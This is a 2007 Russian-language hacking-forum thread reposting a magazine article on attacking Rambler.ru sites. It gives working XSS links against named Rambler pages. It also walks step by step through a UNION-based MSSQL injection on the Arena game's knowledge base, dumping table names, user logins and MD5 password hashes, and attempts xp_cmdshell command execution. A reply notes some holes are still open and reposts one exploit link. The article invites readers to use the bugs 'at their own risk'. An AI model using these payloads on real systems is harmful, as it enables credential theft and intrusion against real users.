Статьи Бомбим Rambler!

Discussion in 'Статьи' started by Sn@k3, 10 Jul 2007.

  1. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    437
    Reputations:
    90
    Маг (mag@wapp.ru, icq 878477)
    Хакер, номер #099, стр. 094


    Баги крупнейшего интернет-холдинга


    Rambler.ru - интернет-проект, поражающий воображение. По этому адресу ты можешь найти буквально все для комфортного серфинга Сети. Миллионы людей ежедневно посещают Рамблер, чтобы проверить свою почту, воспользоваться поиском, познакомиться и пообщаться. Но хорошо ли программисты Рамблера позаботились о безопасности своего детища? Сейчас мы это и выясним. Enjoy!


    XSS для разгона
    Первым делом я решил поискать XSS-баги проекта, так как очень сомневался в существовании более крупных, подобных sql-инъекциям и т.п. (как выяснится позже, я глубоко заблуждался :)). Зайдя на Гугл, я ввел для поиска строку «site:rambler.ru filetype:php» и немного походил по выданным результатам. Среди них был сайт некой игрушки Destiny Sphere. Побродив по нему, я наткнулся на сайт alpha.destinysphere.ru (к сожалению, альтернативной ссылки с Рамблера на этот ресурс нет). Не мудрствуя лукаво, я скопипастил первую попавшуюся ссылку сразу с кавычкой:
    http://alpha.destinysphere.ru/?p=newsweek&pubId=231&pubMode=showPub'

    На это система мне выдала:
    Code:
    Message: From object Parametrs - Value [showPub] is incorrect for recived parameter [pubMode] by type.
    Это уже было интересно :). Чуть-чуть поизвращавшись с этим параметром, я понял, что ничего серьезного из него не выжать, и просто подставил в pubMode значение showPub «<script>alert(document.cookie)</script>», на что браузер показал мне мои плюшки :).
    Кстати, движок этого сайта был таким же, как и ds.rambler.ru, но XSS-баг работал только в нем.
    Ошибки скриптов
    Следующим моим запросом в Гугле был «site:rambler.ru error». Таким образом можно посмотреть ошибки скриптов Рамблера :). Поисковик сразу выдал целую тучу ссылок, где присутствовало, например, такое:


    Code:
    error while executing /www/face.html: Can't call method "prepare" on an undefined value at /usr/local/project/faces/perl/Content/StableDBI.pm line 74 (people.rambler.ru/face.html?s=35&year=2002)
    Но все подобные баги остались лишь в кэше Гугла. Единственная непофиксенная страница - это http://horoscopes.park.rambler.ru/fortune.html, перейдя на которую, наблюдаем:
    error: Can't call method "name" on an undefined value at /home/horo2/source/comps/www/fortune.html line 16.
    Code:
    context: 
    ... 
    12: <tr><td valign="top"> 
    13: <div style="padding: 0px 0px 0px 0px; width: 190px; float: left"> 
    14: <& "components/runa_nav.msn", id=>$id, sec=>$sec &> 
    15: </div> 
    16: <b><% $doc->name %></b> 
    17: <div align="justify"> 
    18: % if ((!defined $sec) or (defined $id)) { 
    19: <% $doc->text %> 
    20: <a href="#top">Наверх</a> 
    ... 
    code stack: /home/horo2/source/comps/www/fortune.html:16
    /home/horo2/source/comps/autohandler:14
    Если будет время, можешь разобраться с ней сам. Я же забил и стал искать более существенные баги :).
    XSS на закуску
    Теперь поищем XSS-дырки посерьезнее на остальных проектах Рамблера. Первым делом зайдем на «Rambler-Финансы» (finance.rambler.ru). Сразу бросается в глаза несколько окошек, связанных с котировками валют и прочими солидными фишками. Вводим в окошко «Найти котировку» кавычку, и что мы видим? Кавычка не экранируется! Далее пишем «<script>alert(document.cookie)</script>» и наблюдаем свои печенюшки и информацию о том, что котировка не найдена =). Чтобы сделать использование XSS более удобным, находим нужный нам параметр в html-коде документа и получаем следуюшую ядовитую ссылку:

    http://finance.rambler.ru/db/instrsearch.html?words=<script>alert(document.cookie)</script>,


    В нее можно внедрить любой код для исполнения на стороне клиента.
    Следующий объект исследования – «Rambler-Игры» (games.rambler.ru). Здесь мы можем использовать XSS-баг на странице авторизации http://games.rambler.ru/login.html. Просматривая html-код страницы, можно наткнуться на hidden-параметр back, в котором хранится адрес страницы. На нее пользователь перейдет сразу после авторизации.
    Итак, сооружаем ссылку:
    http://games.rambler.ru/login.html?back="><script>alert(document.cookie)</script><",

    После перехода по ней видим свои куки :). Как и в предыдущей дырке, здесь тоже не экранируются кавычки.
    SQL на сладкое
    Итак, теперь самое вкусное :). У Рамблера есть очень и очень известная игрушка «Арена» (arena.rambler.ru или arena.ru), в которую гамят постоянно до тысячи человек онлайн. Начав исследование этого проекта, я наткнулся на базу знаний «Арены» (описание скиллов, NPC, оружия, вещей и т.д.) по адресу kb.arena.rambler.ru. Немного поизучав ссылки, я соорудил такой запрос:
    http://kb.arena.rambler.ru/objects.php?it=CR'
    И получил mssql-ошибку:
    Code:
    Warning: mssql_query(): message: Unclosed quotation mark after the character string 'CR\' ) and Quested < 1 order by ItemLevel '. (severity 15) in /home/kb.arena.ru/web/objects.php on line 133
    Warning: mssql_query(): message: Incorrect syntax near 'CR\' ) and Quested < 1 order by ItemLevel '. (severity 15) in /home/kb.arena.ru/web/objects.php on line 133
    Warning: mssql_query(): Query failed in /home/kb.arena.ru/web/objects.php on line 133

    Это не могло не радовать :). Но теперь следовало выжать из этой дыры хоть какую-то пользу. Кавычки, как видно из информации об ошибке, экранировались. Но это не помешало мне составить следующий запрос:
    Code:
    http://kb.arena.rambler.ru/objects.php?it=CR') union select null/*
    В ответ я получил:
    Code:
    All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
    Значит, несмотря на экранирование кавычек, запросы к базе все же можно выполнять :). Теперь подбираем количество полей в БД:
    Code:
    http://kb.arena.rambler.ru/objects.php?it=CR') union select NULL,NULL,NULL,NULL,null,null,null,null,null,null,null,null,null,null,null,null,NULL--

    Этот запрос не вызывает ошибки с различным количеством полей в БД и использованием UNION. Количество полей подобрано. Теперь нам необходимо узнать названия таблиц. В MsSQL все они хранятся в таблице INFORMATION_SCHEMA.TABLES в поле TABLE_NAME. Исходя из этого, составляем запрос:
    Code:
    ,null,TABLE_NAME,null,null,null,null,null,null,null,null,null,null,NULL FROM INFORMATION_SCHEMA.TABLES—
    И получаем список из названий таблиц. Дальше неплохо было бы узнать и названия полей из найденных таблиц. К сожалению, из-за экранирования кавычек нельзя вывести поля из (в) одной определенной таблицы (запрос «WHERE='таблица'» просто выдаст ошибку и не выполнится), но вполне возможно вывести их все сразу. В MsSQL эта информация хранится в INFORMATION_SCHEMA.COLUMNS в поле COLUMN_NAME. Составляем новый запрос:
    Code:
    http://kb.arena.rambler.ru/objects.php?it=CR') union select NULL,NULL,NULL,NULL,null,COLUMN_NAME,null,null,null,null,null,null,null,null,null,null,NULL FROM INFORMATION_SCHEMA.COLUMNS--
    Браузер любезно выводит нам все названия полей во всех таблицах:
    Code:
    tFlash_object_old3 
    tFlash_objecttype 
    tFlash_objecttype_old3
    tFlash_objecttypeSubtypes

    Теперь неплохо было бы покопаться в таблице с аккаунтами пользователей. Вероятнее всего, она называется tLogins :). А пароли и логины, естественно, хранятся в полях Password и Login.
    Таким образом, запрос «http://kb.arena.rambler.ru/objects.php?it=CR') union select NULL,NULL,NULL,NULL,null,Password,null,null,null,null,null,null,null,null,null,null,NULL ROM tLogins--», по идее, должен выдать нам список из всех паролей пользователей «Арены», но, в итоге, мы получаем только:
    Code:
    Fatal error: Allowed memory size of 16777216 bytes exhausted (tried to allocate 204 bytes) in /home/kb.arena.ru/web/objects.php on line 133
    Тут необходимо применить маленькую хитрость. Так как в этой игрушке очень много зарегистрированных пользователей, скрипт, естественно, не сможет выдать нам информацию по всем одновременно. В MsSQL, чтобы ограничить запрос, применяется оператор «TOP цифра». Исходя из этого, немного изменим предыдущий запрос:
    Code:
    http://kb.arena.rambler.ru/objects.php?it=CR') union select TOP 20 NULL,NULL,NULL,NULL,null,Password,null,null,null,null,null,null,null,null,null,null,NULL FROM tLogins-- 
    Этим запросом мы извлекаем только первые 20 паролей (кстати, все пароли зашифрованы md5). Соответственно, логины к этим паролям можно узнать так:
    Code:
    http://kb.arena.rambler.ru/objects.php?it=CR') union select TOP 20 NULL,NULL,NULL,NULL,null,Login,null,null,null,null,null,null,null,null,null,null,NULL FROM tLogins--
    На этом можно было бы и закончить, если бы не еще одна особенность sql-сервера от мелкомягких - возможность исполнения shell-команд :). Погуглив на эту тему, я поколдовал над линком к еще одному бажному скрипту базы знаний «Арены»:
    http://kb.arena.rambler.ru/char_sig.php?r=1';exec master.dbo.xp_cmdshell dir--

    Но скрипт крупно обломал меня:
    Code:
    mssql_query(): message: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', see "Surface Area Configuration" in SQL Server Books Online. (severity 16) in /home/kb.arena.ru/web/char_sig.php on line 24
    Компонент, отвечающий за исполнение команд, был тупо выключен :(. Но и так уже много получив из этого бага, не испытывая судьбу, я решил закрыть страницу с «Ареной» :).

    На посошок
    Конечно, ты можешь спросить, почему я не использовал ни одного бага в своих корыстных целях? На это я отвечу лишь одно: своя шкура дороже :). Моя задача была лишь в том, чтобы предоставить тебе информацию к размышлению. Все описанные баги ты можешь использовать только на свой страх и риск.

    WWW
    http://rambler.ru - интернет-холдинг Rambler;
    http://arena.ru - бажный проект Рамблера.

    WARNING
    Все описанное в статье является плодом больного воображения автора. Любые совпадения с существующими сайтами случайны.
     
  2. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,803
    Likes Received:
    1,957
    Reputations:
    594
    Угу, читал. Самый прикол в том, что некоторые из описаных дыр до сих пор не прикрыты...
     
  3. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    437
    Reputations:
    90
    ну да, к примеру
    Code:
    http://finance.rambler.ru/db/instrsearch.html?words=%3Cscript%3Ealert(document.cookie)%3C/script%3E